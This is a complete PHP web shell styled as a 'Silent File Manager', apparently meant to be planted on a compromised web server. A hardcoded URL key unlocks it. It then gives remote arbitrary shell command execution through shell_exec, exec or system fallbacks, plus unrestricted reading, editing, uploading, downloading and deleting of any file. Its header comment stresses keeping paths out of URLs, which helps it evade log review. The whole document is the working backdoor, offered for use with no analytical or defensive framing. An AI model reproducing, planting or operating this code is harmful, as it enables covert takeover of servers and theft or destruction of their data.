<?php
// =============================================
// Silent File Manager - No paths in URL
// Access: ?k=8f3a9d2c (только ключ)
// =============================================
$key = $_GET['k'] ?? $_POST['k'] ?? '';
if($key !== '8f3a9d2c') die('Access denied');

// 
function run($cmd) {
    return function_exists('shell_exec') ? shell_exec($cmd) : 
           (function_exists('exec') ? exec($cmd, $o, $r) ? implode("\n", $o) : '' : 
           (function_exists('system') ? ob_get_clean() : 'No exec'));
}

// 
$action = $_POST['action'] ?? '';
$path = $_POST['path'] ?? '.';
$realPath = realpath($path) ?: $path;

// 
if($action === 'list') {
    $items = scandir($realPath);
    $result = ['current' => $realPath, 'items' => []];
    foreach($items as $item) {
        if($item === '.' || $item === '..') continue;
        $full = $realPath . '/' . $item;
        $result['items'][] = [
            'name' => $item,
            'isDir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : 0,
            'mod' => date('Y-m-d H:i:s', filemtime($full))
        ];
    }
    header('Content-Type: application/json');
    echo json_encode($result);
    exit;
}

if($action === 'get') {
    $file = $_POST['file'];
    if(file_exists($file) && is_file($file)) {
        header('Content-Type: text/plain');
        readfile($file);
    }
    exit;
}

if($action === 'save') {
    file_put_contents($_POST['file'], $_POST['content']);
    echo 'ok';
    exit;
}

if($action === 'delete') {
    unlink($_POST['file']);
    echo 'ok';
    exit;
}

if($action === 'mkdir') {
    mkdir($realPath . '/' . $_POST['dirname']);
    echo 'ok';
    exit;
}

if($action === 'upload') {
    move_uploaded_file($_FILES['file']['tmp_name'], $realPath . '/' . $_FILES['file']['name']);
    echo 'ok';
    exit;
}

if($action === 'cmd') {
    echo run($_POST['cmd']);
    exit;
}

if($action === 'download') {
    $file = $_POST['file'];
    if(file_exists($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        readfile($file);
    }
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>FS</title>
    <style>
        body { background: #1a1a2e; color: #eee; font-family: monospace; padding: 20px; }
        .container { max-width: 1200px; margin: 0 auto; background: #16213e; border-radius: 12px; overflow: hidden; }
        .header { background: #0f3460; padding: 15px 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
        .path { background: #1a1a2e; padding: 8px 15px; border-radius: 8px; font-size: 12px; word-break: break-all; }
        .toolbar { padding: 15px 20px; background: #0f3460; display: flex; gap: 10px; flex-wrap: wrap; border-top: 1px solid #1a1a2e; }
        input, button, .btn { padding: 8px 14px; border: none; border-radius: 6px; background: #1a1a2e; color: #eee; cursor: pointer; }
        button:hover, .btn:hover { background: #e94560; }
        .btn-primary { background: #e94560; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px 15px; text-align: left; border-bottom: 1px solid #0f3460; }
        th { background: #0f3460; color: #e94560; }
        tr:hover { background: #0f3460; }
        .dir { color: #e94560; cursor: pointer; }
        .file { color: #eee; }
        .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); justify-content: center; align-items: center; }
        .modal-content { background: #16213e; padding: 20px; border-radius: 12px; min-width: 500px; max-width: 90%; }
        textarea { width: 100%; background: #1a1a2e; color: #eee; border: 1px solid #0f3460; padding: 10px; border-radius: 6px; font-family: monospace; }
        .status { position: fixed; bottom: 20px; right: 20px; background: #0f3460; padding: 5px 12px; border-radius: 20px; font-size: 11px; }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <span>📁 FS</span>
        <span class="path" id="currentPath">.</span>
    </div>
    <div class="toolbar">
        <input type="file" id="uploadFile">
        <button onclick="uploadFile()">📤 Upload</button>
        <input type="text" id="newFolder" placeholder="folder name" style="width: 150px;">
        <button onclick="makeDir()">📁 Mkdir</button>
        <button onclick="showCmd()">💻 Cmd</button>
        <button onclick="loadList()" id="refreshBtn">🔄 Refresh</button>
        <button onclick="goUp()">⬆ Up</button>
    </div>
    <div style="overflow-x: auto;">
        <table id="fileTable">
            <thead><tr><th>Name</th><th>Size</th><th>Modified</th><th></th></tr></thead>
            <tbody id="fileList"></tbody>
        </table>
    </div>
</div>
<div class="status" id="status">ready</div>

<!-- Command Modal -->
<div id="cmdModal" class="modal">
    <div class="modal-content">
        <h3>Execute</h3>
        <input type="text" id="cmdInput" style="width: 100%; margin-bottom: 10px;" placeholder="whoami">
        <button onclick="runCmd()">Run</button>
        <button onclick="closeModal('cmdModal')">Close</button>
        <pre id="cmdOutput" style="margin-top: 15px; background: #1a1a2e; padding: 10px; border-radius: 6px; max-height: 300px; overflow: auto;"></pre>
    </div>
</div>

<!-- Edit Modal -->
<div id="editModal" class="modal">
    <div class="modal-content">
        <h3>Edit</h3>
        <textarea id="editContent" rows="15"></textarea>
        <div style="margin-top: 10px;">
            <button onclick="saveFile()">Save</button>
            <button onclick="closeModal('editModal')">Cancel</button>
        </div>
    </div>
</div>

<script>
let currentPath = '.';
let editFilepath = '';

function setStatus(msg) { document.getElementById('status').innerText = msg; setTimeout(() => setStatus('ready'), 2000); }

async function loadList() {
    setStatus('loading...');
    const res = await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'action=list&path=' + encodeURIComponent(currentPath) + '&k=8f3a9d2c'
    });
    const data = await res.json();
    if(data.error) { setStatus('error'); return; }
    currentPath = data.current;
    document.getElementById('currentPath').innerText = currentPath;
    const tbody = document.getElementById('fileList');
    tbody.innerHTML = '';
    for(const item of data.items) {
        const row = tbody.insertRow();
        const nameCell = row.insertCell(0);
        const sizeCell = row.insertCell(1);
        const modCell = row.insertCell(2);
        const actCell = row.insertCell(3);
        
        if(item.isDir) {
            nameCell.innerHTML = `<span class="dir" onclick="cd('${item.name.replace(/'/g, "\\'")}')">📁 ${escapeHtml(item.name)}</span>`;
            sizeCell.innerText = '-';
        } else {
            nameCell.innerHTML = `<span class="file">📄 ${escapeHtml(item.name)}</span>`;
            sizeCell.innerText = (item.size / 1024).toFixed(1) + ' KB';
            actCell.innerHTML = `
                <button onclick="edit('${currentPath}/${item.name}')" style="padding:2px 6px;font-size:11px;">✏</button>
                <button onclick="downloadFile('${currentPath}/${item.name}')" style="padding:2px 6px;font-size:11px;">⬇</button>
                <button onclick="del('${currentPath}/${item.name}')" style="padding:2px 6px;font-size:11px;">🗑</button>
            `;
        }
        modCell.innerText = item.mod;
    }
    setStatus('ok');
}

function escapeHtml(str) { return str.replace(/[&<>]/g, function(m){if(m==='&') return '&amp;'; if(m==='<') return '&lt;'; if(m==='>') return '&gt;'; return m;}); }

function cd(dir) { currentPath = currentPath + '/' + dir; loadList(); }
function goUp() { const parts = currentPath.split('/'); parts.pop(); currentPath = parts.join('/') || '.'; loadList(); }

async function uploadFile() {
    const file = document.getElementById('uploadFile').files[0];
    if(!file) return;
    const fd = new FormData();
    fd.append('action', 'upload');
    fd.append('path', currentPath);
    fd.append('k', '8f3a9d2c');
    fd.append('file', file);
    const res = await fetch('', { method: 'POST', body: fd });
    if(await res.text() === 'ok') { loadList(); setStatus('uploaded'); }
}

async function makeDir() {
    const name = document.getElementById('newFolder').value;
    if(!name) return;
    const res = await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `action=mkdir&path=${encodeURIComponent(currentPath)}&dirname=${encodeURIComponent(name)}&k=8f3a9d2c`
    });
    if(await res.text() === 'ok') { loadList(); document.getElementById('newFolder').value = ''; setStatus('created'); }
}

async function del(filepath) {
    if(!confirm('Delete?')) return;
    await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `action=delete&file=${encodeURIComponent(filepath)}&k=8f3a9d2c`
    });
    loadList();
    setStatus('deleted');
}

async function edit(filepath) {
    editFilepath = filepath;
    const res = await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `action=get&file=${encodeURIComponent(filepath)}&k=8f3a9d2c`
    });
    document.getElementById('editContent').value = await res.text();
    document.getElementById('editModal').style.display = 'flex';
}

async function saveFile() {
    await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `action=save&file=${encodeURIComponent(editFilepath)}&content=${encodeURIComponent(document.getElementById('editContent').value)}&k=8f3a9d2c`
    });
    closeModal('editModal');
    loadList();
    setStatus('saved');
}

function downloadFile(filepath) {
    const form = document.createElement('form');
    form.method = 'POST';
    form.innerHTML = `<input name="action" value="download"><input name="file" value="${filepath}"><input name="k" value="8f3a9d2c">`;
    document.body.appendChild(form);
    form.submit();
    document.body.removeChild(form);
}

function showCmd() { document.getElementById('cmdModal').style.display = 'flex'; }
async function runCmd() {
    const cmd = document.getElementById('cmdInput').value;
    const res = await fetch('', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: `action=cmd&cmd=${encodeURIComponent(cmd)}&k=8f3a9d2c`
    });
    document.getElementById('cmdOutput').innerText = await res.text();
}
function closeModal(id) { document.getElementById(id).style.display = 'none'; }

loadList();
</script>
</body>
</html>